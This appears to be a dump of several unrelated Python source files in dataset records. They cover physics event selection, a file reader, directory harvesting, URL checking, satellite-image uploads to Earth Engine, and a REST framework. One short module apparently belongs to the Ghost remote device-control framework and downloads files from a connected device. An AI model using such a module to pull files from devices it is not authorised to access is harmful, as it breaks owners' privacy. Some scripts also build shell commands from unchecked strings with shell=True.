Minimum direction angle value\n DZVtxSep : Minimum vertex separation from PC\n DDRPV : Minimum DR vertex separation from PV\n \"\"\"\n\n _dMassWindow = \"(ADMASS('D+') < %(DMassWindow)s *MeV)\" %locals()\n _dsMassWindow = \"(ADMASS('D_s+') < %(DsMassWindow)s *MeV)\" %locals()\n _danddsMassWindow = \"( (ADMASS('D+') < %(DMassWindow)s *MeV) | (ADMASS('D_s+') < %(DsMassWindow)s *MeV) )\" %locals()\n\n\n _dFilterCode = \"(PT>%(DMinPT)s*MeV)\"%locals()\n _dFilterCode += \"& (BPVVDZ> %(DZVtxSep)s *mm)\"%locals()\n _dFilterCode += \"& (MIPCHI2DV(PRIMARY) > %(DIPChisq2PV)s)\"%locals()\n _dFilterCode += \"& (BPVVDCHI2 > %(DVtxSepChisq)s) \"%locals()\n _dFilterCode += \"& (BPVDIRA > %(DDiraPV)s) \"%locals()\n _dFilterCode += \"& (BPVVDRHO > %(DDRPV)s *mm)\"%locals()\n _dFilterCode += \"& (MIPDV(PRIMARY)> %(DIP2PV)s*mm)\"%locals()\n _dFilterCode += \"& (2 > NINGENERATION(PT<%(MinPT)s *MeV, 1))\"%locals()\n\n _trkFilterCode = \"CHILDCUT(MIPCHI2DV ( PRIMARY ) > %(PionMinIPChisq)s , 1)\" %locals()\n _trkFilterCode += \"& CHILDCUT(MIPCHI2DV ( PRIMARY ) > %(PionMinIPChisq)s , 2)\" %locals()\n _trkFilterCode += \"& CHILDCUT(MIPCHI2DV ( PRIMARY ) > %(PionMinIPChisq)s , 3)\" %locals()\n _pidpiPass = \"(MAXTREE(ABSID=='pi+',PIDK)<%(PionPiDDLL)s)\"%locals()\n\n _d2kpipi = DataOnDemand(Location = \"Phys/StdLooseDplus2KPiPi/Particles\")\n _d2pipipi = DataOnDemand(Location = \"Phys/StdLooseDplus2PiPiPi/Particles\")\n _d2kkpi = DataOnDemand(Location = \"Phys/StdLooseDplus2KKPi/Particles\")\n _d2kpipiOS = DataOnDemand(Location = \"Phys/StdLooseDplus2KPiPiOppSignPi/Particles\")\n\n\n # D+ -->K- Pi+ Pi+\n _code0 = _dMassWindow + \" & \" + _dFilterCode +\" & \" + _trkFilterCode + \" & \" + _pidpiPass\n theName = \"D2KPiPiSel\"+name\n _d2kpipiFilter = FilterDesktop('FilterFor'+theName,Code = _code0)\n D2KPiPiSelection = Selection(theName, Algorithm = _d2kpipiFilter, RequiredSelections = [_d2kpipi])\n\n\n # D+ -->K- K+ Pi+ OR D_s+ -->K- K+ Pi+\n _code1 = _danddsMassWindow + \" & \" + _dFilterCode + \" & \" + _trkFilterCode + \" & \" + _pidpiPass\n theName = \"D2KKPiSel\"+name\n _d2kkpiFilter = FilterDesktop('FilterFor'+theName, Code = _code1)\n D2KKPiSelection = Selection(theName, Algorithm = _d2kkpiFilter, RequiredSelections = [_d2kkpi])\n\n # D_s+ -->Pi- Pi+ Pi+ (don't see need for D+ --> PiPiPi)\n _code2 = _dsMassWindow + \" & \" +_dFilterCode + \" & \" + _trkFilterCode + \" & \" + _pidpiPass\n theName = \"D2PiPiPiSel\"+name\n _d2pipipiFilter = FilterDesktop('FilterFor'+theName, Code = _code2)\n D2PiPiPiSelection = Selection(theName, Algorithm = _d2pipipiFilter, RequiredSelections = [_d2pipipi])\n\n # D+ -->K- Pi+ Pi+ (OS)\n _code3 = _dsMassWindow + \" & \" + _dFilterCode + \" & \" + _trkFilterCode + \" & \" + _pidpiPass\n theName = \"D2KPiPiOSSel\"+name\n _d2kpipiOSFilter = FilterDesktop('FilterFor'+theName, Code = _code3)\n D2KPiPiOppSignPiSelection = Selection(theName, Algorithm = _d2kpipiOSFilter, RequiredSelections = [_d2kpipiOS])\n\n\n selName = 'MergedSel'+name\n _dm = MergedSelection(selName, RequiredSelections = [ D2KPiPiSelection, D2KKPiSelection, D2PiPiPiSelection, D2KPiPiOppSignPiSelection])\n return _dm\n\n\ndef makeLambdaC(name,\n pionSel,\n kaonSel,\n protonSel,\n DMassWindow,\n DDocaMax,\n DMinPT,\n MinPT,\n DIP2PV,\n DIPChisq2PV,\n DVtxChisq,\n DVtxSepChisq,\n DDiraPV,\n DZVtxSep,\n DDRPV,\n PionMinIPChisq,\n PionPiDDLL,\n KaonPiDDLL\n ):\n \"\"\"\n Create and return D+, Ds+ Selection object.\n Select the follwing charged D decays:\n D+ --> K-Pi+Pi+, K+ K- Pi+, Pi+Pi-Pi+\n D_s+ --> K+Pi-Pi+, K+ K- Pi+, Pi+Pi-Pi+\n Note that the K Pi Pi final state has different charges for the D+ and D_s_\n #\n Arguments:\n name : name of the Selection.\n pionSel : pion Selection object\n kaonSel : kaon Selection object\n protonSel : proton Selection object\n DMassWindow : D/Ds Mass Window\n DDocaMax : Maximum value for Doca\n DMinPT : Minimum pT of Candidate\n MinPT : One track allowed to have pT less than this value\n DIP2PV : Minimum IP to PV\n DIPChisq2PV : Minimum IP Chisq to PC\n DVtxChisq : Maximum Vertex Chisquare\n DVtxSepChisq, : Minimum separation chisq. between cand and assoc. PV\n DDiraPV : Minimum direction angle value\n DZVtxSep : Minimum vertex separation from PC\n DDRPV : Minimum DR vertex separation from PV\n \"\"\"\n\n _lc = DataOnDemand(Location = \"Phys/StdLooseLambdac2PKPi/Particles\")\n\n _dFilterCode = \"(PT>%(DMinPT)s*MeV)\"%locals()\n _dFilterCode += \"& (BPVVDZ> %(DZVtxSep)s *mm)\"%locals()\n _dFilterCode += \"& (MIPCHI2DV(PRIMARY) > %(DIPChisq2PV)s)\"%locals()\n _dFilterCode += \"& (BPVVDCHI2 > %(DVtxSepChisq)s) \"%locals()\n _dFilterCode += \"& (BPVDIRA > %(DDiraPV)s) \"%locals()\n _dFilterCode += \"& (BPVVDRHO > %(DDRPV)s *mm)\"%locals()\n _dFilterCode += \"& (MIPDV(PRIMARY)> %(DIP2PV)s*mm)\"%locals()\n _dFilterCode += \"& (2 > NINGENERATION(PT<%(MinPT)s *MeV, 1))\"%locals()\n\n _trkFilterCode = \"CHILDCUT(MIPCHI2DV ( PRIMARY ) > %(PionMinIPChisq)s , 1)\" %locals()\n _trkFilterCode += \"& CHILDCUT(MIPCHI2DV ( PRIMARY ) > %(PionMinIPChisq)s , 2)\" %locals()\n _trkFilterCode += \"& CHILDCUT(MIPCHI2DV ( PRIMARY ) > %(PionMinIPChisq)s , 3)\" %locals()\n _pidpiPass = \"(MAXTREE(ABSID=='pi+',PIDK)<%(PionPiDDLL)s)\"%locals()\n\n\n _lcMassWindow = \"(ADMASS('Lambda_c+') < %(DMassWindow)s *MeV ) \" %locals()\n\n\n # Lambda_C+ -->P+ K- Pi+\n _code0 = _lcMassWindow + \" & \" + _dFilterCode +\" & \" + _trkFilterCode + \" & \" + _pidpiPass\n theName = \"Lc2pKPiSel\"+name\n _lc2pkpiFilter = FilterDesktop('FilterFor'+theName,Code = _code0)\n Lc2pKPiSelection = Selection(theName, Algorithm = _lc2pkpiFilter, RequiredSelections = [_lc])\n\n return Lc2pKPiSelection\n\ndef makeXccMeson(name,dstarSel,dSel):\n '''Creates and returns the X(cc) hybrid meson selection object from D* and D selection objects.'''\n alg = CombineParticles(name='DstarD'+name,DecayDescriptor=\"[eta_c(1S) -> D*(2010)+ D-]cc\")\n alg.CombinationCut = 'AM < 6000*MeV'\n alg.MotherCut = 'M < 6000*MeV'\n return Selection('XccSel'+name,Algorithm=alg,RequiredSelections=[dstarSel,dSel])\n\ndef makeXccWSMeson(name,dstarSel,dSel):\n '''Creates and returns the WS X(cc) hybrid meson selection object from D* and D selection objects.'''\n alg = CombineParticles(name='DstarDWS'+name,DecayDescriptor=\"[eta_c(1S) -> D*(2010)+ D+]cc\")\n alg.CombinationCut = 'AM < 6000*MeV'\n alg.MotherCut = 'M < 6000*MeV'\n return Selection('XccWSSel'+name,Algorithm=alg,RequiredSelections=[dstarSel,dSel])\n\ndef makeB2D3H( name,\n dSel,\n hhhSel,\n BMassWindow,\n BMinPT,\n MinPT,\n BIP2PV,\n BIPChisq2PV,\n BVtxChisq,\n BVtxSepChisq,\n BDiraPV,\n BZVtxSep,\n BDZVtxSep,\n BDRPV,\n decayDesc,\n parentB):\n\n \"\"\"\n Create and return a B-->D+3H Selection object.\n Requires the D and 3h Selection objects.\n Arguments:\n name : name of the Selection.\n dSel : D Selection object\n hhhSel : 3H Selection object\n BMassWindow : Mass Window\n BMinPT : Minimum pT of Candidate\n MinPT : One track allowed to have pT less than this value\n BIP2PV : Maximum IP to PV\n BIPChisq2PV : Maximum IP Chisq to PC\n BVtxChisq : Maximum Vertex Chisquare\n BVtxSepChisq, : Minimum separation chisq. between candidate and assoc. PV\n BDiraPV : Minimum direction angle value\n BZVtxSep : Minimum vertex separation from PC\n BDZVtxSep : Minimum vertex separation from PC\n DDRPV : Minimum DR vertex separation from PV\n decayDesc : Decay descriptor for CombineParticles\n parentB : parent B (use either B0 or B+)\n \"\"\"\n\n _b2d3h = CombineParticles('_'+name)\n _b2d3h.DecayDescriptor = decayDesc\n _b2d3h.Preambulo = [ \"Z = VFASPF(VZ)\" ,\n \"DZ = CHILD(Z,1)-Z\"\n ]\n\n combCut = \"(ADAMASS('\" + parentB + \"') < %(BMassWindow)s *MeV) & (APT > %(BMinPT)s *MeV) \"\n\n if parentB == \"B0\":\n combCut = \"( ((ADAMASS('B0') < %(BMassWindow)s *MeV) | (ADAMASS('B_s0') < %(BMassWindow)s *MeV))\" \\\n \"& (APT > %(BMinPT)s *MeV) )\"\n _b2d3h.CombinationCut = combCut % locals()\n\n _b2d3h.MotherCut = \"( (VFASPF(VCHI2/VDOF)< %(BVtxChisq)s ) & (PT > %(BMinPT)s *MeV) \" \\\n \" & (DZ > %(BDZVtxSep)s *mm) \" \\\n \" & (BPVVDZ> %(BZVtxSep)s *mm) & (BPVVDRHO > %(BDRPV)s *mm) & (MIPCHI2DV(PRIMARY)< %(BIPChisq2PV)s )\" \\\n \" & (BPVVDCHI2 > %(BVtxSepChisq)s ) & (BPVDIRA > %(BDiraPV)s )\" \\\n \" & (MIPDV(PRIMARY)< %(BIP2PV)s *mm) )\" % locals()\n\n\n #(NINGENERATION( (PT < %(MinPT)s *MeV) , 2) <= 1)\" \\\n\n selName = 'Sel'+name\n if dSel == hhhSel:\n return Selection(name, Algorithm = _b2d3h, RequiredSelections = [dSel])\n else:\n return Selection(name, Algorithm = _b2d3h, RequiredSelections = [dSel, hhhSel])\n\n\"\"\"\ndef filterB2D3H( name,\n bSel,\n tightDMassWindow,\n tightBMassWindow,\n parentB,\n parentD):\n\n #Filter the B-->D+3H Selection object for events in a tight signal region\n #Arguments:\n #name : name of the Selection.\n #bSel : B Selection object\n #tightDMassWindow : Tight D Mass Window\n #parentB : parent B (use either B0 or B+)\n\n #Several final states (FS) considered here for parentD\n #[1] FS = B^+ --> D^0 3h\n #[2] FS = B0 or Bs --> (D+ or D_s+) 3h\n #[3] FS = B0 or Bs --> D*+ 3h\n #[4] FS = B0 or Bs --> (D+ or D_s+) + (D- or D_s-)\n #[5] FS = B0 or Bs --> D*+ (D- or D_s-)\n\n\n _dMassCut = \" \"\n _bMassCut = \" \"\n\n if parentD == 1:\n _dMassCut = \"(CHILDCUT( (ADMASS('D0') <%(tightDMassWindow)s *MeV ), 1 ))\" %locals()\n _bMassCut = \"( ADMASS('\" + parentB + \"') < %(tightBMassWindow)s *MeV )\" %locals()\n if parentD==2:\n _dMassCut1 = \"(CHILDCUT( (ABSID=='D+') & (ADMASS('D+') < %(tightDMassWindow)s *MeV ), 1 ))\" %locals()\n _dMassCut2 = \"(CHILDCUT( (ABSID=='D+') & (ADMASS('D_s+') < %(tightDMassWindow)s *MeV ), 1 ))\" %locals()\n _dMassCut = \"(\" + _dMassCut1 + \" | \" + _dMassCut2 + \")\"\n _bMassCut = \"( (ADMASS('B0') < %(tightBMassWindow)s *MeV) | (ADMASS('B_s0') < %(tightBMassWindow)s *MeV) )\" %locals()\n if parentD==3:\n _dMassCut = \"(CHILDCUT( (ABSID=='D*(2010)+') & (ADMASS('D*(2010)+') < %(tightDMassWindow)s *MeV ), 1 ))\" %locals()\n _bMassCut = \"( (ADMASS('B0') < %(tightBMassWindow)s *MeV) | (ADMASS('B_s0') < %(tightBMassWindow)s *MeV) )\" %locals()\n if parentD==4:\n _dMassCut1 = \"(CHILDCUT( (ABSID=='D+') & (ADMASS('D+') < %(tightDMassWindow)s *MeV ), 1 ))\" %locals()\n _dMassCut2 = \"(CHILDCUT( (ABSID=='D+') & (ADMASS('D_s+') < %(tightDMassWindow)s *MeV ), 1 ))\" %locals()\n _dMassCut3 = \"(CHILDCUT( (ABSID=='D+') & (ADMASS('D+') < %(tightDMassWindow)s *MeV ), 2 ))\" %locals()\n _dMassCut4 = \"(CHILDCUT( (ABSID=='D+') & (ADMASS('D_s+') < %(tightDMassWindow)s *MeV ), 2 ))\" %locals()\n _dMassCut = \"( (\" + _dMassCut1 + \" | \" + _dMassCut2 + \") & (\" + _dMassCut3 + \" | \" + _dMassCut4 + \") )\"\n _bMassCut = \"( (ADMASS('B0') < %(tightBMassWindow)s *MeV) | (ADMASS('B_s0') < %(tightBMassWindow)s *MeV) )\" %locals()\n if parentD==5:\n _dMassCut1 = \"(CHILDCUT( (ABSID=='D*(2010)+') & (ADMASS('D*(2010)+') < %(tightDMassWindow)s *MeV ), 1 ))\" %locals()\n _dMassCut3 = \"(CHILDCUT( (ABSID=='D+') & (ADMASS('D+') < %(tightDMassWindow)s *MeV ), 2 ))\" %locals()\n _dMassCut4 = \"(CHILDCUT( (ABSID=='D+') & (ADMASS('D_s+') < %(tightDMassWindow)s *MeV ), 2 ))\" %locals()\n _dMassCut = \"( (\" + _dMassCut1 + \") & (\" + _dMassCut3 + \" | \" + _dMassCut4 + \") )\"\n _bMassCut = \"( (ADMASS('B0') < %(tightBMassWindow)s *MeV) | (ADMASS('B_s0') < %(tightBMassWindow)s *MeV) )\" %locals()\n if parentD==6:\n _dMassCut = \"(CHILDCUT( (ABSID=='Lambda_c+') & (ADMASS('Lambda_c+') < %(tightDMassWindow)s *MeV ), 1 ))\" %locals()\n _bMassCut = \"( (ADMASS('Lambda_b0') < %(tightBMassWindow)s *MeV) )\" %locals()\n\n\n _bFilter = FilterDesktop('SignalFilter'+name)\n _bFilter.Code = \"(\" + _dMassCut + \" & \" + _bMassCut + \")\"\n\n return Selection ('SignalSel'+name, Algorithm = _bFilter, RequiredSelections = [bSel])\n\"\"\"\n","sub_path":"DaVinci_v36r1p3/Phys/StrippingArchive/python/StrippingArchive/Stripping21a/StrippingB2D3H.py","file_name":"StrippingB2D3H.py","file_ext":"py","file_size_in_byte":110346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"263326191","text":"import os\r\n\r\n\r\nclass FileReader:\r\n\r\n def __init__(self, path, content=None):\r\n self.path = path\r\n self.content = content\r\n\r\n def read(self):\r\n try:\r\n path = self.path\r\n with open(path, 'r') as f:\r\n content = f.read()\r\n except IOError:\r\n return ''\r\n return content\r\n\r\n\r\nfile = FileReader(os.path.join('C:/Users/Константин Игоревич/Documents/The Witcher 3', 'user.settings.bak'))\r\nprint(file.read())\r\n","sub_path":"reader/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"360337921","text":"\nimport os\nimport sys\nfrom subprocess import run, Popen, PIPE\nfrom py_dataset import dataset\nfrom .checks import Cfg\nfrom .logger import Logger\nfrom .io import read_keys, write_keys\n\nlog = Logger(os.getpid())\n\ndef harvest_directory(cfg_name):\n cfg = Cfg(cfg_name)\n c_name = cfg.get('DATASET', '', True)\n api_key = cfg.get('DIRECTORY_API_KEY', '', True)\n api_url = cfg.get('DIRECTORY_API_URL', '', True)\n ok = dataset.status(c_name)\n if ok == False:\n err = dataset.init(c_name, layout = \"pairtree\")\n if err != '':\n log.fatal(f\"ERROR: can't init {c_name}, {err}\")\n\n dh_dir = os.path.join('tmp', 'directory-harvest')\n if os.path.exists(dh_dir) == False:\n os.makedirs(dh_dir)\n\n faculty_keys = os.path.join(dh_dir, 'faculty.keys')\n if os.path.exists(faculty_keys) == True:\n os.remove(faculty_keys)\n log.print(f\"Harvest started for {c_name}\")\n p = run(['bin/cdh', \n '-dataset', c_name,\n '-api-key', api_key,\n '-api', api_url,\n '-o', faculty_keys,\n '-advanced-sn-crawl',\n '--advanced-search', 'https://directory.caltech.edu/search/advanced_search',\n '--advanced-category', 'faculty'], check = True)\n exit_code = p.returncode\n if exit_code != 0:\n log.print(\"bin/cdh exited with exit code {exit_code}, aborting harvest\")\n return\n\n #NOTE: cleanup the duplicate keys \n keys = []\n if os.path.exists(faculty_keys) == True:\n keys = read_keys(faculty_keys)\n keys.sort()\n log.print(f\"{len(keys)} user ids to be dedup\")\n unique_keys = []\n for key in keys:\n if not key in unique_keys:\n unique_keys.append(key)\n write_keys(faculty_keys, unique_keys) \n log.print(f\"wrote {len(unique_keys)} user ids to {faculty_keys}\")\n\n p = run([ 'bin/cdh', \n '-dataset', c_name,\n '-api-key', api_key,\n '-api', api_url,\n '--verbose', '-i', faculty_keys, '-dataset', c_name], check = True)\n exit_code = p.returncode\n if exit_code != 0:\n log.print(\"bin/cdh exited with exit code {exit_code}, aborting harvest\")\n return\n log.print(f\"Harvest completed for ${c_name}\")\n\n","sub_path":"feeds/cdh.py","file_name":"cdh.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"379602264","text":"import requests\nimport threading\nimport Queue\n\nprint_lock = threading.Lock();\n\ndef sitescan(url):\n try:\n site = requests.get(url, timeout=5)\n if site.status_code == 404:\n requests.get('https://ecm.depositsense.co.uk/providers/account/missing', params = {'url': url})\n with print_lock:\n print(\"Missing::\",url)\n else:\n requests.get('https://ecm.depositsense.co.uk/providers/account/found', params = {'url': url})\n requests.post('http://209.250.254.12/api/browser', data={'url': url, 'fetch': 'start'})\n with print_lock:\n print(\"Found&Caching::\",url)\n except:\n pass\n\ndef threader():\n while True:\n worker = q.get()\n sitescan(worker)\n q.task_done()\n\nq = Queue.Queue()\n\nfor x in range(15):\n t = threading.Thread(target=threader)\n t.daemon= True\n t.start()\n\nr = requests.get('https://ecm.depositsense.co.uk/providers/accounts/urls')\n\ndata = r.json()\n\nfor task in data:\n q.put(task['url'])\n\nq.join()\n\nprint(\"Done\")\n","sub_path":"providers.py","file_name":"providers.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"60228917","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 26 17:18:53 2020\n\n@author: jackreid\n\nhttps://www.tucson.ars.ag.gov/notebooks/uploading_data_2_gee.html\n\n\"\"\"\n\n\n\n\ndef ConvertRadToRef(filenamelist):\n \"\"\"CONVERT SET OF RADIANCE DATA GEOTIFFS TO SURFACE REFLECTANCE DATA\n \n Args:\n filenamelist: str of filenames, each seperated by a return\n \n Returns:\n N/A\n \n Outputs:\n AnalyticMS_Reflect.tif for each filename input\n \"\"\"\n \n #Import the PlanetUtilities functions\n import PlanetUtilities\n\n #Iterate through list and convert to reflectance\n for file in filenamelist.split():\n PlanetUtilities.Rad_To_Ref(file)\n \n \ndef UploadToGoogleCloudStorage(filenamelist, bucket):\n \"\"\"UPLOAD SET OF FILES TO GOOGLE CLOUD STORAGE. CALLS THE UNIX COMMAND LINE INTERFACE\n \n Based on: https://www.tucson.ars.ag.gov/notebooks/uploading_data_2_gee.html\n \n Args:\n filenamelist: str of filenames to be uploaded, each seperated by a return\n bucket: name of bucket to upload files to\n \n Returns:\n N/A\n \"\"\"\n \n #Import libraries\n import subprocess\n \n totalLength = len(filenamelist.split())\n index = 0\n #Iterate through and upload each image\n for file in filenamelist.split():\n subprocess.call('gsutil -m cp ' + file + ' gs://' + bucket + '/',\n shell=True)\n index+=1\n percentageComplete = index/totalLength*100\n print(str(percentageComplete) + \"% Complete\")\n \n \ndef ImportIntoGEE(filenamelist, prefix, bucket, **kwargs):\n \"\"\"IMPORTS A COLLECTION OF FILES IN GOOGLE CLOUD STORAGE INTO AN IMAGE COLLECTION \n ON GOOGLE EARTH ENGINE\n \n Based on: https://www.tucson.ars.ag.gov/notebooks/uploading_data_2_gee.html\n \n Args:\n filenamelist: str of filenames to be imported, each seperated by a return\n prefix: prefix to be added to asset id names in GEE\n bucket: name of bucket to import the files from\n destination: optional; name of GEE image collection to add assets to; defaults to \"New_Collection\"\n suffix: optional; suffix to append to asset id names in GEE; defaults to nothing\n user: optional; username of GEE account, defaults to jackreid\n metadata: optional: binary flag for whether metadata is available for the files; defaults to 0\n \n Returns:\n N/A\n \n Outputs:\n Set of GEE assets in one image collection, each labeled in the form \n prefix + [date of collection] + suffix\n \"\"\"\n \n #Import libraries\n import subprocess\n from xml.dom import minidom\n import os\n import re\n \n #Load key word arguments\n if 'destination' in kwargs:\n destination = kwargs.pop('destination')\n else:\n destination = 'New_Collection'\n if 'suffix' in kwargs:\n suffix = kwargs.pop('suffix')\n suffix = '_' + suffix\n else:\n suffix = '' \n if 'user' in kwargs:\n user_name = kwargs.pop('user')\n else:\n user_name = 'jackreid'\n if 'metadata' in kwargs:\n metadata_flag = kwargs.pop('metadata')\n else:\n metadata_flag = 0\n \n #Initiate null list to track asset id names to avoid overwrites\n asset_list = []\n \n #Iterate through each filename\n for file in filenamelist.split():\n \n #Identify base name of the file and the date of image to serve as central component of asset id \n base_name = os.path.basename(os.path.normpath(file))\n folder_filepath = re.sub(base_name, '', file)\n folder_name = os.path.basename(os.path.normpath(folder_filepath))\n sep = '_'\n date_name = base_name.split(sep,1)[0]\n \n #Concatante asset id name\n assetname = prefix + '_' + date_name\n \n #Check if asset id already exists, generate number to append if so\n assetflag = 0\n for i in asset_list: \n if(i == assetname):\n assetflag += 1\n asset_list.append(assetname)\n if assetflag != 0:\n assetname = assetname + '_' + str(assetflag)\n \n #Acquire and add time stamp if metadata is available\n if metadata_flag == 1:\n \n #Identify filepath of the metadata file\n if not(file.endswith('AnalyticMS.tif')):\n sep = '_AnalyticMS' \n snippet = file.split(sep,1)[1]\n metadata_filename = re.sub(snippet, '_metadata.xml', file)\n else:\n metadata_filename = re.sub('.tif', '_metadata.xml', file)\n \n #Pull time stamp\n xmldoc = minidom.parse(metadata_filename)\n nodes = xmldoc.getElementsByTagName(\"ps:acquisitionDateTime\")\n rawdate = nodes[0].firstChild.data\n vdate = rawdate[0:-6] \n timestring = ' --time_start=' + vdate\n \n #Otherwise, leave a blank timestamp\n else:\n timestring = ''\n \n #Generate command sequence for importing the asset\n assetstring = ' --asset_id=users/' + user_name + '/' + destination + '/' + assetname + suffix\n bucketstring = ' gs://' + bucket + '/' + base_name\n commandstring = 'earthengine upload image' + assetstring + timestring + bucketstring\n print(commandstring)\n \n #Run the command sequence\n subprocess.call(commandstring,\n shell=True)\n \n \n \nif str.__eq__(__name__, '__main__'): \n \n import subprocess\n\n\n SR_filenames = subprocess.getoutput('find ./Images/GuanabaraBay/ -iname *AnalyticMS_SR.tif') \n UDM_filenames = subprocess.getoutput('find ./Images/GuanabaraBay/ -iname *AnalyticMS_DN_udm.tif')\n # MS_filenames = subprocess.getoutput('find ./Images/ToUpload/ -iname *AnalyticMS.tif')\n # RF_filenames = subprocess.getoutput('find ./Images/ToUpload/ -iname *AnalyticMS_Reflect.tif')\n\n srlist = SR_filenames.split()\n udmlist = UDM_filenames.split()\n \n print(len(srlist))\n print(len(udmlist))\n # print(UDM_filenames)\n \n # ConvertRadToRef(MS_filenames)\n # UploadToGoogleCloudStorage(SR_filenames, 'lagoon_new_sr_528')\n # ImportIntoGEE(SR_filenames, 'Lagoon_New', 'lagoon_new_sr_528',\n # destination = 'Lagoon_SR',\n # suffix = 'SR',\n # user = 'jackreid',\n # metadata = 1)\n","sub_path":"GEE_Image_Collection_Upload.py","file_name":"GEE_Image_Collection_Upload.py","file_ext":"py","file_size_in_byte":6496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"446101007","text":"#!/usr/bin/env python3\n\n#\n# This module requires Ghost: https://github.com/EntySec/Ghost\n# Current source: https://github.com/EntySec/Ghost\n#\n\nimport os\n\nfrom ghost.lib.module import Module\nfrom ghost.utils.fs import FSTools\n\n\nclass GhostModule(Module):\n fs = FSTools()\n\n details = {\n 'Category': \"manage\",\n 'Name': \"download\",\n 'Authors': [\n 'Ivan Nikolsky (enty8080) - module developer'\n ],\n 'Description': \"Download file from device.\",\n 'Comments': [\n ''\n ],\n 'Usage': \"download \",\n 'MinArgs': 2,\n 'NeedsRoot': False\n }\n\n def run(self, argc, argv):\n self.print_process(f\"Downloading {argv[0]}...\")\n\n exists, file = self.fs.exists_directory(argv[1])\n if exists and file == 'file':\n if self.device.download(argv[0], argv[1]):\n self.print_success(\"File has been downloaded!\")\n\n if exists and file == 'directory':\n if self.device.download(argv[0], argv[1] + '/' + os.path.split(argv[0])[1]):\n self.print_success(\"File has been downloaded!\")\n","sub_path":"ghost/modules/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"128108711","text":"'''\nCreated on Jun 18, 2011\n\n@package: ally core\n@copyright: 2012 Sourcefabric o.p.s.\n@license: http://www.gnu.org/licenses/gpl-3.0.txt\n@author: Gabriel Nistor\n\nProvides the call assemblers used in constructing the resources node.\n'''\n\nfrom ally.api.config import GET, DELETE, INSERT, UPDATE\nfrom ally.api.operator.container import Model\nfrom ally.api.operator.type import TypeService, TypeModel, TypeModelProperty\nfrom ally.api.type import Iter, typeFor, Input\nfrom ally.container.ioc import injected\nfrom ally.core.impl.invoker import InvokerRestructuring\nfrom ally.core.impl.node import NodePath, NodeProperty, NodeRoot\nfrom ally.core.spec.resources import Node, AssembleError, Invoker, IAssembler, \\\n InvokerInfo\nfrom inspect import isclass\nfrom itertools import combinations, chain\nimport abc\nimport logging\nimport re\n\n# --------------------------------------------------------------------\n\nlog = logging.getLogger(__name__)\n\n# --------------------------------------------------------------------\n\nclass AssembleBase(IAssembler):\n '''\n Provides support for assemblers that want to do the assembling on an invoker at one time.\n '''\n\n hintModelDomain = 'domain'\n hintCallWebName = 'webName'\n hintCallReplaceFor = 'replaceFor'\n\n def __init__(self):\n '''\n Construct the assembler.\n '''\n assert isinstance(self.hintModelDomain, str), 'Invalid hint name for model domain %s' % self.hintModelDomain\n assert isinstance(self.hintCallWebName, str), 'Invalid hint name for call web name %s' % self.hintCallWebName\n assert isinstance(self.hintCallReplaceFor, str), \\\n 'Invalid hint name for call replace %s' % self.hintCallReplaceFor\n\n self.modelHints = {\n self.hintModelDomain: '(string) The domain where the model is registered'\n }\n\n self.callHints = {\n self.hintCallWebName: '(string|model API class) The name for locating the call, simply put this is the last '\\\n 'name used in the resource path in order to identify the call.',\n\n self.hintCallReplaceFor: '(service API class) Used whenever a service call has the same signature with '\\\n 'another service call and thus require to use the same web address, this allows to explicitly dictate what'\\\n 'call has priority over another call by providing the class to which the call should be replaced.',\n }\n\n def knownModelHints(self):\n '''\n @see: IAssembler.knownModelHints\n '''\n return self.modelHints\n\n def knownCallHints(self):\n '''\n @see: IAssembler.knownCallHints\n '''\n return self.callHints\n\n # ----------------------------------------------------------------\n\n def processTypesHints(self, types, hints, isGroup=False):\n '''\n Process the hints that affect the types used for constructing the node path.\n \n @param types: list[Input|TypeModel|Model|tuple(string,boolean)]\n The list of types to be altered based on the type hints.\n @param hints: dictionary{string, object}\n The hints to be processed for the types.\n @param isGroup: boolean\n Flag indicating that the hints should be considered for a group node (True) or an object node (False).\n @return: list[TypeModelProperty|TypeModel|Model|tuple(string,boolean)]\n The processed types.\n '''\n return self.processHintWebName(types, hints, isGroup)\n\n def processInvokerHints(self, invoker, prevInvoker):\n '''\n Process the hints that affect the invoker used on the assembled node.\n \n @param invoker: Invoker\n The invoker to be processed.\n @param prevInvoker: Invoker|None\n The previous invoker found on the node if is the case.\n @return: Invoker\n The invoker to be used.\n '''\n return self.processHintReplace(invoker, prevInvoker)\n\n # ----------------------------------------------------------------\n\n def processHintWebName(self, types, hints, isGroup=False):\n '''\n Processes the web name hint found on the call and alters the provided types list according to it.\n \n @param types: list[Input|TypeModel|Model|tuple(string,boolean)]\n The list of types to be altered based on the web name hint.\n @param hints: dictionary{string, object}\n The hints to be processed for the types.\n @param isGroup: boolean\n Flag indicating that the web name hint should be considered a group node (True) or an object node (False).\n '''\n assert isinstance(types, list), 'Invalid types %s' % types\n assert isinstance(hints, dict), 'Invalid hints %s' % hints\n assert isinstance(isGroup, bool), 'Invalid is group flag %s' % isGroup\n\n webName = hints.get(self.hintCallWebName)\n if isclass(webName):\n typ = typeFor(webName)\n assert isinstance(typ, TypeModel), 'Invalid web name hint class %s' % webName\n types.append(typ.container)\n elif webName:\n assert isinstance(webName, str), 'Invalid web name hint %s' % webName\n webName = webName.split('/')\n for k, name in enumerate(webName):\n assert re.match('^[\\w]+$', name), 'Invalid name \"%s\" in web name \"%s\"' % (name, '/'.join(webName))\n types.append((name, False if k <= len(webName) - 1 else isGroup))\n return types\n\n def processHintReplace(self, invoker, prevInvoker):\n '''\n Processes the replace for hint for the invokers.\n \n @param invoker: Invoker\n The invoker to be processed.\n @param prevInvoker: Invoker|None\n The previous invoker found on the node if is the case.\n @return: Invoker\n The invoker to be used.\n '''\n assert isinstance(invoker, Invoker), 'Invalid invoker %s' % invoker\n if prevInvoker:\n replace = 